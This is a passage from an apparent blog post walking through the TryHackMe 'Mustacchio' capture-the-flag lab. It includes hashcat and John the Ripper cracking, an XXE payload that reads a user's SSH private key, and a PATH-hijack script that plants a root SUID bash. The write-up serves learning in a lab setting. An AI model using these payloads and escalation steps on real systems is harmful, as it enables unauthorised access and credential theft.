&lt;p&gt;&lt;code&gt;hashcat -m 100 admin.hash /usr/share/wordlists/rockyou.txt&lt;/code&gt;  and just like that we get the admin password &lt;code&gt;bulldog19&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0p1guko0y3bz409748sv.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0p1guko0y3bz409748sv.gif" alt="bulldog" width="220" height="190"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: The Admin Panel
&lt;/h2&gt;

&lt;p&gt;once we log in we get greeted by this box &lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F88rf0dath791osv64l1k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F88rf0dath791osv64l1k.png" alt="xxe injection box" width="800" height="345"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;checking the source code we find this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt; &lt;span class="c"&gt;&amp;lt;!-- Barry, you can now SSH in using your key!--&amp;gt;&lt;/span&gt;****
 &lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/javascript"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="c1"&gt;//document.cookie = "Example=/auth/dontforget.bak"; &lt;/span&gt;
      &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;checktarea&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;tbox&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;box&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tbox&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;tbox&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Insert XML Code!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;so we pull that file&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;┌──(kali㉿kali)-[~/TryHackme/mustacchio]
└─$ cat dontforget.bak 
&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;comment&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;name&amp;gt;&lt;/span&gt;Joe Hamd&lt;span class="nt"&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;author&amp;gt;&lt;/span&gt;Barry Clad&lt;span class="nt"&gt;&amp;lt;/author&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;com&amp;gt;&lt;/span&gt;his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.&lt;span class="nt"&gt;&amp;lt;/com&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/comment&amp;gt;&lt;/span&gt;                                                                                                                                                                                                                                           

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2py99v1vw11he1f5w3yo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2py99v1vw11he1f5w3yo.png" alt="xml" width="800" height="322"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At this point it is obvious that we are going to do an XXE injection to retrieve the ssh keys &lt;br&gt;
so we fire up burpsuite and start trying payloads and it &lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F39wo6mplw19rov3yemsm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F39wo6mplw19rov3yemsm.png" alt="xxa" width="800" height="322"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fn4hee28nfpwa7wvy31mu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fn4hee28nfpwa7wvy31mu.png" alt="xxa" width="800" height="275"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa"&amp;gt;&lt;/span&gt; ]&amp;gt;
&lt;span class="nt"&gt;&amp;lt;comment&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;name&amp;gt;&lt;/span&gt;&lt;span class="ni"&gt;&amp;amp;xxe;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/name&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;author&amp;gt;&lt;/span&gt;admin&lt;span class="nt"&gt;&amp;lt;/author&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/comment&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Submit this payload through the XML input form to dump the encrypted RSA private key for &lt;code&gt;barry&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Cracking SSH Passphrase &amp;amp; Initial Access
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Copy the exfiltrated private key into a local file named &lt;code&gt;id_rsa&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Ensure the key begins with a valid SSH header line (&lt;code&gt;-----BEGIN RSA PRIVATE KEY-----&lt;/code&gt;). If non-standard header lines (such as &lt;code&gt;Name:&lt;/code&gt; ) are present, clean up the file using &lt;code&gt;sed&lt;/code&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'1s/^Name: //'&lt;/span&gt; id_rsa
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 id_rsa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Convert the key format for John the Ripper using &lt;code&gt;ssh2john&lt;/code&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh2john id_rsa &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; id_rsa.hash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Crack the SSH key passphrase using &lt;code&gt;john&lt;/code&gt; and &lt;code&gt;rockyou.txt&lt;/code&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john id_rsa.hash &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Cracked Output&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;urieljames       (id_rsa)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Connect to the target machine via SSH using the cracked key:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa barry@10.112.171.183
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Capture the user flag:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/barry/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fobqxb651j3m4u9cqiyaf.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fobqxb651j3m4u9cqiyaf.gif" alt="easy" width="480" height="330"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: Privilege Escalation (PATH Hijacking)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Check local users and search for SUID binaries on the system:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;An unusual binary is present in user &lt;code&gt;joe&lt;/code&gt;'s home directory: &lt;code&gt;/home/joe/live_log&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;so we exfiltrate the binary to the host machine using &lt;code&gt;scp&lt;/code&gt; and dissassemble it with ghidra &lt;br&gt;
and it turns out to be a simple vulnerable code &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flc8deyy5pb8vg0v5kfte.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flc8deyy5pb8vg0v5kfte.png" alt="code" width="488" height="331"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;setuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;setgid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Live Nginx Log Reader"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"tail -f /var/log/nginx/access.log"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because &lt;code&gt;tail&lt;/code&gt; is called without an absolute path (e.g., &lt;code&gt;/usr/bin/tail&lt;/code&gt;), the system searches the directories listed in the current environment's &lt;code&gt;$PATH&lt;/code&gt; variable in sequential order.&lt;/p&gt;

&lt;p&gt;barry@mustacchio:~$ echo $PATH&lt;br&gt;
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin&lt;/p&gt;

&lt;h3&gt;
  
  
  Executing PATH Hijack
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Navigate to a world-writable directory, such as &lt;code&gt;/dev/shm&lt;/code&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /dev/shm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Create a malicious executable named &lt;code&gt;tail&lt;/code&gt; designed to create a root SUID bash binary:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;' &amp;gt; tail
#!/bin/bash
cp /bin/bash /tmp/bash
chmod 4777 /tmp/bash
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Make the malicious file executable:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x &lt;span class="nb"&gt;tail&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Prepend &lt;code&gt;/dev/shm&lt;/code&gt; to the target system's &lt;code&gt;$PATH&lt;/code&gt; variable:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/shm:&lt;span class="nv"&gt;$PATH&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Execute &lt;code&gt;/home/joe/live_log&lt;/code&gt;. It will run &lt;code&gt;/dev/shm/tail&lt;/code&gt; with &lt;code&gt;root&lt;/code&gt; privileges:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/home/joe/live_log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Spawn the privileged bash shell and retrieve the root flag:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/tmp/bash &lt;span class="nt"&gt;-p&lt;/span&gt;
&lt;span class="c"&gt;#cat /root/root.txt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feiktoo1wj7n11ga5gn7g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feiktoo1wj7n11ga5gn7g.png" alt="i am root" width="381" height="335"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Review:
&lt;/h2&gt;

&lt;p&gt;Overall while rated Easy, the machine serves as an effective learning model for basic web enumeration, XXE exploitation, and binary privilege escalation. this was a well versatile machine but it lacked depth .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdeujnm87hkb0mm74tptr.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdeujnm87hkb0mm74tptr.gif" alt="see you" width="498" height="208"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>tryhackme</category>
      <category>ctf</category>
      <category>hacker</category>
    </item>
  </channel>
</rss>
